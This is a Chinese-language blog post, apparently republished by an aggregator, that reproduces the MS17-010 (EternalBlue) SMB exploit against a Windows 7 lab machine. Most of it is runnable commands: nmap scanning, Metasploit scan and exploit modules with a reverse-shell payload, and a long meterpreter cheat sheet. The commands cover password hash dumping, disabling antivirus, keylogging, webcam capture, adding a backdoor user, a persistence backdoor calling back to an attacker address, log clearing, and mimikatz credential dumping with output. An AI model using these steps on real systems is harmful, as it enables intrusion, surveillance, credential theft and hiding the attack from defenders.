MS17-010(永恒之蓝)漏洞复现和分析

Posted wangii..

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MS17-010(永恒之蓝)漏洞复现和分析相关的知识,希望对你有一定的参考价值。

MS17-010(永恒之蓝)漏洞复现和分析

一、漏洞简介

1、永恒之蓝介绍:

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件

2、漏洞原理:

永恒之蓝漏洞通过 TCP 的445139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。

3、影响版本:

WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

二、漏洞复现

环境:

  • 攻击机:Linux Kali (IP:192.168.88.165)
  • 靶机(目标机):Windows 7 (IP:192.168.88.166)

复现过程:

1、主机发现:使用nmap进行c段扫描
nmap -sP 192.168.88.0/24

2、端口发现:使用nmap进行端口扫描
nmap -sS -sV -A -T5 -p- 192.168.88.166

能看到445端口是打开的,目标机的防火墙也是关闭的。

3、进入msf框架
msfconsole
search ms17-010

这里有两个工具,一个攻击,一个扫描,通常先扫描再攻击

4、使用扫描模块扫描
use 3 //使用3模块

set RHOSTS 192.168.88.166 //填写参数

run //执行

说主机很可能能够被MS17-010使用。

5、使用攻击模块
use 0

show options //查看参数

set RHOSTS 192.168.88.166

run

攻击成功

6、后渗透阶段

输入shell,就能进入到windows的shell界面

从shell退出到meterpreter,输入exit

从meterpreter退出到MSF,输入background

输入sessions -l 查看我们获得的shell

输入sessions -i 1就能切换到id为1的shell

在meterpreter >中,我们可以使用以下命令来实现对目标的操作

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\\test.txt  /root          #将目标机的e:\\test.txt文件下载到/root目录下
upload    /root/test.txt d:\\test      #将/root/test.txt上传到目标机的 d:\\test\\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接
                                   192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev                       #清除日志

其他命令大家可自行尝试

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash
查看目标主机是否运行在虚拟机上

关闭杀毒软件

访问文件系统

meterpreter非常多的文件系统命令都基本和linux类似。

下载/上传文件

download file 从目标主机下载文件

upload file 上传文件到目标主机

权限提升

有时候我们得到的用户权限非常低,这时候我们就需要提权(这里我是最高权限了)

运行程序

查看目标主机安装了哪些应用(我们刚装的靶机,所有应用少)

可以使用execute命令在目标系统中执行程序

可选参数:
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

屏幕截图

创建新账号

先查看目标主机有哪些账号

在目标机中创建一个新的账号

创建成功了,但是报错了

我们也可以在shell里面创建用户

开启远程桌面

当我们有一个账号,就可以用远程桌面进行登录了

使用扩展库

生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接,这样太麻烦了。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
通过启动项启动

我们生成一个后门木马,放到启动项中

C:\\Users\\$username$\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup

通过服务启动

我们可以运行命令

run persistence -X -i 5 -p 8888 -r 192.168.88.165

就会在目标机中看到一个.vbs文件,缺点是容易被杀

清除事件日志

文章仅限学习参考,不得用于非法使用

文章参考:https://blog.csdn.net/qq_44159028/article/details/104044002#%E5%90%8E%E6%B8%97%E9%80%8F%E9%98%B6%E6%AE%B5

永恒之蓝 MS17-010漏洞复现

漏洞原理

简介

永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无,SMB服务详解:点击查看


漏洞原理代码详解

下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解该漏洞的同学可以点击查看

http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807

漏洞复现

MSF中有一个叫ms17_010的模块

msf5 > search ms17-010

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   0  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   1  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   2  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   3  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   4  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

 

 

使用插件测试目标是否存在这个漏洞

批量扫描是否有存在此漏洞的主机

auxiliary/scanner/smb/smb_ms17_010
root@kali:/# msfconsole
msf5 > use auxiliary/scanner/smb/smb_ms17_010 
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.0/24    //扫描此ip段
msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 512    //设置线程
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

技术图片

哈哈发现目标:192.168.10.165

[+] 192.168.10.165:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)

 

 

开始攻击

技术图片

 

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.10.165
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.10.159
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit  

Nice!!!得手

 

技术图片

使用screenshot截屏看看(会存在/根目录下)

技术图片

嘿嘿一览无余

 

使用shell进入目标主机的cmd

技术图片

 

使用msf中的mimikatz,来爆出靶机的用户名和密码

技术图片

meterpreter > load mimikatz
 

 使用wdigest <读取内存中存放的账号密码明文信息>

技术图片

meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

AuthID   Package    Domain        User           Password
------   -------    ------        ----           --------
0;89141  NTLM       T-PC          T              
0;89101  NTLM       T-PC          T              
0;997    Negotiate  NT AUTHORITY  LOCAL SERVICE  
0;996    Negotiate  WORKGROUP     T-PC$          
0;49325  NTLM                                    
0;999    NTLM       WORKGROUP     T-PC$    

 

真正的一览无余

以上是关于MS17-010(永恒之蓝)漏洞复现和分析的主要内容,如果未能解决你的问题,请参考以下文章

永恒之蓝 MS17-010漏洞复现

永恒之蓝MS17-010漏洞复现

永恒之蓝漏洞复现(ms17-010)

ms17-010永恒之蓝病毒复现

永恒之蓝(ms17-010)漏洞简介及复现

永恒之蓝漏洞复现(包括常见问题处理)和修复方案